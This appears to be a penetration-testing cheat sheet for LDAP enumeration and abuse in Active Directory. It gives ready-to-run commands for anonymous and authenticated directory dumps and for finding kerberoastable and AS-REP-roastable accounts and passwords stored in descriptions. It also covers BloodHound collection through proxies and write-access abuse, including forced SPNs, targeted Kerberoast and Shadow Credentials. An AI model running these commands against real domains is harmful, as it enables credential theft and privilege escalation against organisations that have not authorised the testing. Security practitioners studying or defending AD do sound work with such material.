LDAP

Sections LDAP

LDAP enum against Active Directory and standalone directories. AD-specific attacks (kerberoast, ASREP, ACL abuse) live in 00 AD MOC .

DC=10.10.11.50
DOMAIN=corp.local
BASE='DC=corp,DC=local'
USER='svc_user'
PASS='Password1'

i. Anonymous bind

Lot of misconfigured DCs allow anonymous read. Always try first.

ldapsearch -x -H ldap://$DC -s base namingcontexts
ldapsearch -x -H ldap://$DC -b "$BASE"

What to grep for in anonymous output:

ldapsearch -x -H ldap://$DC -b "$BASE" | grep -iE 'description|userpassword|info|comment'

ii. Authenticated bind

ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE"

Over LDAPS (encrypted, needed for password changes and some attacks):

ldapsearch -x -H ldaps://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE"

GSSAPI / Kerberos auth (no password on the command line):

kinit "$USER@${DOMAIN^^}"
ldapsearch -Y GSSAPI -H ldap://$DC -b "$BASE"

iii. Useful filters, copy-paste

Replace the filter after -b "$BASE" to target specific objects.

All users:

ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(&(objectClass=user)(objectCategory=person))' samaccountname description

All computers:

ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(objectClass=computer)' dnshostname operatingsystem

Domain admins:

ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local))' samaccountname

Kerberoastable accounts (users with SPN):

ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(&(objectClass=user)(servicePrincipalName=*))' samaccountname serviceprincipalname

AS-REP roastable (PreAuth not required):

ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' samaccountname

Passwords in description field (classic mistake):

ldapsearch -x -H ldap://$DC -D "$USER@$DOMAIN" -w "$PASS" -b "$BASE" '(description=*)' samaccountname description | grep -iE 'samaccount|descr'

Constrained / Unconstrained delegation:

## Unconstrained
ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=524288)' samaccountname
## Constrained (any account with msDS-AllowedToDelegateTo)
ldapsearch ... '(msDS-AllowedToDelegateTo=*)' samaccountname msDS-AllowedToDelegateTo

GPO objects, often have passwords in old groups.xml:

ldapsearch ... '(objectClass=groupPolicyContainer)' displayname gpcfilesyspath

iv. UserAccountControl decoder

Common UAC bit flags you see in queries:

DecimalHexMeaning
5120x200Normal account
5140x202Disabled account
5280x210Locked
20480x800InterDomain trust
40960x1000Workstation trust
81920x2000DC account
660480x10200Password never expires
41943040x400000No PreAuth required (ASREP-roastable)
5242880x80000Trusted for unconstrained delegation
167772160x1000000Trusted to auth for delegation

Filter syntax for bit-test: (userAccountControl:1.2.840.113556.1.4.803:=FLAG).

v. Bulk enum tools

nxc LDAP, fastest for one-shot enum:

nxc ldap $DC -u "$USER" -p "$PASS" --users
nxc ldap $DC -u "$USER" -p "$PASS" --groups
nxc ldap $DC -u "$USER" -p "$PASS" --asreproast asrep.out
nxc ldap $DC -u "$USER" -p "$PASS" --kerberoasting krb.out
nxc ldap $DC -u "$USER" -p "$PASS" --trusted-for-delegation
nxc ldap $DC -u "$USER" -p "$PASS" --password-not-required
nxc ldap $DC -u "$USER" -p "$PASS" --admin-count
nxc ldap $DC -u "$USER" -p "$PASS" --get-desc-users

windapsearch, more verbose dumps:

windapsearch --dc-ip $DC -d "$DOMAIN" -u "$USER" -p "$PASS" --da
windapsearch --dc-ip $DC -d "$DOMAIN" -u "$USER" -p "$PASS" --privileged-users
windapsearch --dc-ip $DC -d "$DOMAIN" -u "$USER" -p "$PASS" --computers

ldapdomaindump, HTML report with everything:

ldapdomaindump $DC -u "$DOMAIN\\$USER" -p "$PASS"
## Outputs: domain_users.html, domain_computers.html, domain_groups.html

vi. BloodHound ingest

Primary collector, rusthound-ce, fast and accurate for most edges:

rusthound-ce -d "$DOMAIN" -u "$USER" -p "$PASS" -i $DC --zip
## Output: 20XX-XX-XX-corp.local-rusthound.zip

Over a SOCKS pivot:

proxychains -q rusthound-ce -d "$DOMAIN" -u "$USER" -p "$PASS" -i $DC --zip
Missing outbound object control

rusthound-ce sometimes misses certain outbound ACL edges (WriteOwner, GenericAll on objects outside the user’s OU, etc). When BloodHound looks too clean, run bloodyAD too.

Fallback / supplement, bloodyAD, exports a BloodHound-compatible zip:

bloodyAD --host $DC -d "$DOMAIN" -u "$USER" -p "$PASS" get bloodhound --output bh-bloody.zip

Through pivot:

proxychains -q bloodyAD --host $DC -d "$DOMAIN" -u "$USER" -p "$PASS" get bloodhound --output bh-bloody.zip
Upload both

When in doubt, run both tools and drop both zips into BloodHound. The graph merges and you get the union of edges. Catches the ACLs rusthound-ce silently skipped.

vii. Modify objects (write-level access)

If BloodHound shows you have write rights to an object, abuse with:

ldapmodify, raw:

ldapmodify -x -H ldaps://$DC -D "$USER@$DOMAIN" -w "$PASS" <<EOF
dn: CN=target,CN=Users,$BASE
changetype: modify
replace: servicePrincipalName
servicePrincipalName: cifs/anything
EOF

Targeted Kerberoast (set SPN, roast, remove SPN):

targetedKerberoast.py -d "$DOMAIN" -u "$USER" -p "$PASS" --dc-ip $DC

Shadow Credentials (msDS-KeyCredentialLink, if you have write rights):

certipy shadow auto -u "$USER@$DOMAIN" -p "$PASS" -account targetuser

viii. LDAP signing and channel binding

nxc ldap $DC -u "$USER" -p "$PASS" -M ldap-checker
## or check manually:
ldapsearch -x -H ldap://$DC -b "" -s base
## If anonymous bind works on 389 -> LDAP signing NOT required
## If LDAPS rejects PLAIN -> channel binding enforced

Why it matters: NTLM relay to LDAP/LDAPS works only when signing is off and channel binding is not enforced. See AD06 LLMNR & NTLM Relay .